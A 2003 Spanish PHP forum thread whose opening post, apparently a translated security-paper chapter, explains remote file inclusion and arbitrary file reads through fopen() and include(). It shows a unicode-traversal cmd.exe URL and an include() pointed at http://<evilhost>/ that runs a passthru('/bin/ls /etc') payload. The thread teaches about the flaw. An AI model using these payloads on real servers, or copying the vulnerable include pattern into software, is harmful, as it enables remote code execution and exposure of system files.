Foros del Web » Programando para Internet » PHP »

"archivos remotos"

Estas en el tema de "archivos remotos" en el foro de PHP en Foros del Web. --- < 4. Archivos Remotos > ---------------------------------------------------- Voy a repetir esto con frecuencia durante este escrito, PHP es un lenguaje muy rico, viene con una ...
  #1 (permalink)  
Antiguo 25/05/2003, 18:01
Avatar de mveraa  
Fecha de Ingreso: diciembre-2002
Ubicación: santiago-chilito
Mensajes: 1.931
Antigüedad: 21 años, 3 meses
Puntos: 2
"archivos remotos"

--- < 4. Archivos Remotos > ----------------------------------------------------

Voy a repetir esto con frecuencia durante este escrito, PHP es un lenguaje muy
rico, viene con una gran cantidad de funcionalidades y trata de hacerle la vida
f cil al programador para programar ( o dise¤ador web como a veces es ).
Desde la perspectiva de la seguridad, cuanto mas funcionalidad superflua ofrece
un lenguaje y menos intutitivas las posibilidades, se hace m s dificultoso
escribir aplicaciones seguras. Un exelente ejemplo de esto es la funcionalidad
de Archivos Remotos de PHP.

El codigo siguiente de PHP se utiliza para abrir un archivo:

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>

El c¢digo abre un archivo especificado en la variable $filename para leerlo. Si
falla muestra un mensaje de error. Obviamente esto puede llegar a ser un
problema de seguridad si el usuario puede poner lo que quiera en $filename y por
ejemplo mostrar /etc/passwd, pero de otra forma poco intuitiva se puede leer
datos de otro sitio web/ftp. La funcionalidad de archivos remotos sirve
justamente para que con casi cualquier funci¢n de manejo de archivos de PHP
puede manejar transparentemente archivos remotos por HTTP and FTP. Si $filename
tendria:
(por ejemplo)
http://target/scripts/..%c1%1c../win...cmd.exe?/c+dir PHP har¡a una
petici¢n HTTP al server "destino", en este caso tratando de explotar la falla
unicode.

Esto es mas interesante con relaci¢n a otras 4 funciones que tiene incluida la
funcionalidad de archivos remotos (*** excepto en Window ***), include(),
require(), include_once() y require_once(). Estas funciones toman un archivo lo
leen, y lo parsean como c¢digo php. Son usadas la mayor¡a de las veces para
usar librer¡as (o bibliotecas), donde hay c¢digo php y se la incluye cuando se
la necesita.
Ahora mira el siguiente c¢digo:

<?php
include($libdir . "/languages.php");
?>

Aparentemente $libdir es una variable de configuraci¢n que ya hemos asignado
anteriormente en el c¢digo, que contiene el directorio en donde est n los
archivos de las librer¡as. Si el atacante puede hacer que la variable no la
asigne el script (lo que es una tarea no tan dificultosa) y en vez de hacer
submit puede modificar en comienzo del path. Esto no sirve para nada por que
solo tienen acceso a el archivo languages.php en el directorio que ellos elijan
( ataques del tipo poison null como en perl no funcionan con PHP) pero si pueden
grabar un archivo llamado languages.php en cualquier directorio conteniendo por
ejemplo:

<?php
passthru("/bin/ls /etc");
?>

despu‚s asignan $libdir a http://<evilhost>/ cuando php encuentra la sentencia
include php hace la petici¢n HTTP al evilhost, extrae el c¢digo del atacante y
lo ejecuta, d ndonos de esa manera un listado del /etc en el browser. Te t‚nes
que dar cuenta que el cliente quiz s no este ni corriendo php por que se ejecuta
el servidor remoto.
  #2 (permalink)  
Antiguo 25/05/2003, 18:10
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
mveraa se agradecen tus aportes de "teoría" .. Pero quedarian mejor si los pones todos juntos junto con su indice (como así lo iniciastes hace unos mensajes y ahí quedó la cosa) ..

Así tendremos toda la teoría "junta" y si es necesario hacemos una FAQ que linkee a ese mensaje que hagas con todos esos capítulos de teroría que nuca biene mal.

Un saludo,
__________________
Por motivos personales ya no puedo estar con Uds. Fue grato haber compartido todos estos años. Igualmente los seguiré leyendo.
  #3 (permalink)  
Antiguo 25/05/2003, 18:50
Avatar de mveraa  
Fecha de Ingreso: diciembre-2002
Ubicación: santiago-chilito
Mensajes: 1.931
Antigüedad: 21 años, 3 meses
Puntos: 2
los pondria todos de una vez pero sobre pasa la capacidad del mensaje , sino porfa dime como hacerlo de otra manera
  #4 (permalink)  
Antiguo 25/05/2003, 19:10
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
Ok, es cierto lo del límite de caracteres en un mensaje ..

Te contacto en privado para ver alguna alternativa.

Un saludo,
__________________
Por motivos personales ya no puedo estar con Uds. Fue grato haber compartido todos estos años. Igualmente los seguiré leyendo.
  #5 (permalink)  
Antiguo 25/05/2003, 19:12
Avatar de mveraa  
Fecha de Ingreso: diciembre-2002
Ubicación: santiago-chilito
Mensajes: 1.931
Antigüedad: 21 años, 3 meses
Puntos: 2
me parece perfecto , mi mail es [email protected]
  #6 (permalink)  
Antiguo 25/05/2003, 19:23
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
Usé los MP del foro .. (no es recomendable colocar tu mail públicamente para evitar SPAM ..)

Revisa tus MP (Mensajes privados)

Un saludo,
__________________
Por motivos personales ya no puedo estar con Uds. Fue grato haber compartido todos estos años. Igualmente los seguiré leyendo.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 00:52.